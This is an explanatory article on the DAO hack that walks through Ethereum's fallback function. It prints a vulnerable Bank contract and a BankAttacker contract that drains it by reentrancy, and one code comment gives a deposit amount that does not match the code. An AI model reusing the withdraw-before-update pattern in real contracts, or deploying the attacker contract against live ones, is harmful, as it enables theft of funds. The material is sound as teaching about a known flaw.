To make it simple for beginners, Ethereum fanatics, and non-techies alike to understand what went wrong with one of the most popular Ethereum applications, we must explain the attack in easy terms and steps. A hacker took advantage of a bug in DAO’s code and stole around $50 million worth of ether – but here, let us just focus on the fundamental technical issue that triggered this exploit: The fallback function.
Let’s Start With the Basics
When using Ethereum, it’s essential to know the difference between two types of accounts: (i) externally owned accounts managed by humans and (ii) contract accounts that are driven by code. This knowledge is important because only contracts have associated codes that include a fallback feature. All activities occur due to transactions or messages sent from an external account – these can be in ether form, or they can activate contract coding. Additionally, another noteworthy detail worth remembering is how one contract can trigger another’s code as well!
High-level programming languages such as Solidity are ideal for writing smart contracts. Still, to be deployed on the blockchain, they must first be translated into bytecode — a low-level language that runs on Ethereum Virtual Machine (EVM). This bytecode can then be examined using opcodes.
The EVM bytecode compiles when a contract is called, or money is sent to another contract, activating the call function in both situations. Though similar, there is one major distinction between calling and sending: When reaching out to other contracts, the call function includes data alongside specific identifiers, but with transactions involving funds transfer, only gas (no data) passes through, which consequently activates the fallback of that particular contract.
How Did the Hacker Attack?
The fallback function was a critical element in the DAO attack. So, let’s discuss what role this feature can play and how it can be used maliciously.
What Is Fallback Function?
A contract can contain one anonymous function called the fallback function. This particular feature is not invoked with any arguments and will be set off in three circumstances: (1) when none of the existing functions of a call to the agreement corresponds with those found in another contract, (2) if ether is sent without additional data, (3) or should no data be supplied.
Example
Let’s examine a sample code of two contracts, the contract Bank (the vulnerable one) and the contract BankAttacker (the malicious one). As an example, let us consider that the former is like a simpler version of the DAO smart contract while the latter serves as a hacker’s tool to empty out said system. This setup signifies how attackers can compromise even the simplest smart contracts with ill intentions.
contract Bank{
/*Contract that stores user balances. This is the vulnerable contract. This contract contains
the basic actions necessary to interact with its users, such as: get balance, add to balance,
and withdraw balance */
mapping(address=>uint) userBalances;/*mapping is a variable
type that saves the relation between the user and the amount contributed to
this contract. An address (account) is a unique indentifier in the blockchain*/
function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}/*This function returns the amount (balance) that the user has contributed
to this contract (this information is saved in the userBalances variable)*/
function addToBalance() {
userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
}/*This function assigns the value sent by the user to the userBalances variable.
The msg variable is a global variable*/
function withdrawBalance() {
uint amountToWithdraw = userBalances[msg.sender];
if (msg.sender.call.value(amountToWithdraw)() == false) {
throw;
}
userBalances[msg.sender] = 0;
}
}/*First, this function gets the user's balance and sets it to the amountToWithdraw
variable. Then, the function sends the user the amount set in the
amountToWithdraw variable. If the transaction is successful the userBalances is
set to 0 because all the funds deposited in the balance are sent to the user.
Otherwise, the throw command is triggered, reversing the previous transaction.*/
contract BankAttacker{
/*This is the malicious contract that implements a double spend attack to the
first contract: contract Bank. This attack can be carried out n times.
For this example, we carried it out only 2 times.*/
bool is_attack;
address bankAddress;
function BankAttacker(address _bankAddress, bool _is_attack){
bankAddress=_bankAddress;
is_attack=_is_attack;
}/*This function, which is the constructor, sets the address of the contract to be attacked
(contract Bank) and enables/disables the double spend attack */
function() {
if(is_attack==true)
{
is_attack=false;
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
throw;
}
}
}/* This is the fallback function that calls the withdrawnBalance function
when attack flag, previuosly set in the constructor, is enabled. This function
is triggered because in the withdrawBalance function of the contract Bank a
send was executed. To avoid infinitive recursive fallbacks, it is necessary
to set the variable is_attack to false. Otherwise, the gas would run out, the
throw would execute and the attack would fail */
function deposit(){
if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
==false) {
throw;
}
}/*This function makes a deposit in the contract Bank (75 wei) calling the
addToBalance function of the contract Bank*/
function withdraw(){
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
throw;
}
}/*This function triggers the withdrawBalance function in the contract Bank*/
}
To initiate the attack on the Bank Contract, a malicious contract is deployed by the hacker. Here’s what happens next: First and foremost,75 wei of Ether are sent to the vulnerable contract via the deposit function from a malicious contract, triggering the addToBalance function in vulnerable contact. After that, withdraw action from malicious contracts’ withdraw functions causes vulnerable contact to invoke its withdrawBalance function for the same amount (75).
It is crucial to note that the withdrawBalance function ends by updating the userBalances variable last. This key factor enables a malicious fallback function to call this same withdrawBalance procedure recursively, which doubles the amount of ether (75 wei) sent before completing the execution of its original service and without adjusting the userBalances value.
In this particular case, the withdrawBalance function is only called twice. As a result, the hacker ends up with an inflated balance of 150 wei instead of 75. The reason why it was able to take more than they should have is that by the time their malicious code ran through and finished executing in its entirety, it was too late – This happens due to how synchronously Ethereum Virtual Machine (EVM) processes instructions one after another leading them right into updating userBalance variable last.
Final Words
The DAO incident showed us that smart contract development requires extreme caution and consideration. Even now, many inquiries remain unanswered; do we really need fallback functions? Fortunately, Solidity came up with a resolution to this difficulty — yet the EVM level is still prone to attacks if attackers manipulate opcodes that don’t obey Solidity’s safety measures. It is evident there are significant areas of improvement!